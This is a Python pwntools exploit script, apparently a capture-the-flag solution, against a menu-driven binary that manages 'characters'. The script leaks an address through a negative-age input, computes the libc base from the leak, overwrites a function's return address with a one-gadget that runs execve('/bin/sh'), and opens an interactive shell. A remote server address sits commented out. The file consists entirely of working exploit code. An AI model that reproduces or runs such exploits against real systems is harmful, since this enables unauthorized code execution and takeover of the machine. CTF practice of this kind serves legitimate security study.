#!/usr/bin/env python

from pwn import *

def line_up_characters():
    p.sendline('0')
    return p.recvuntil('Choice: ')

def do_head_count():
    p.sendline('1')
    return p.recvuntil('Choice: ')

def make_new_character(name, age, is_exploit=False):
    p.sendline('2')
    p.sendline(name)
    p.sendline(str(age))

    if not is_exploit:
        return p.recvuntil('Choice: ')

def delete_old_character():
    p.sendline('3')
    return p.recvuntil('Choice: ')

def leak():
    make_new_character('aaaa', 1)
    make_new_character('bbbb', 1)

    delete_old_character()
    delete_old_character()
    delete_old_character()

    make_new_character('cccc', -10)

    line_up_characters()

    delete_old_character()

    output = delete_old_character()

    for line in output.split('\n'):
        if 'has been deleted.' in line:
            addr = line.replace(', the oldest character, has been deleted.', '')
            return u64((addr + '\00' * 8)[0:8])

    return None

def exploit():
    make_new_character('aaaa', 1)

    delete_old_character()
    delete_old_character()

    make_new_character('cccc', -3)

    make_new_character(p64(one_gadget_addr), 1, True)

#p = remote('34.213.162.78', 38910)
p = process('./program', env = {'LD_PRELOAD': './libc-2.26.so'})

p.recvuntil('Choice: ')

# leak an address on stack to de-randomize
stdout_addr = leak()

print 'stdout: ' + hex(stdout_addr)

libc_base = stdout_addr - 0x3db720

print 'libc base: ' + hex(libc_base)

'''
0x47c9a execve("/bin/sh", rsp+0x30, environ)
constraints:
      [rsp+0x30] == NULL
'''

one_gadget_addr = libc_base + 0x47c9a

print 'one gadget: ' + hex(one_gadget_addr)

# clean up and make it ready for exploitation
do_head_count()
delete_old_character()

# replace return address of "make new character" with one gadget address
exploit()

p.interactive()

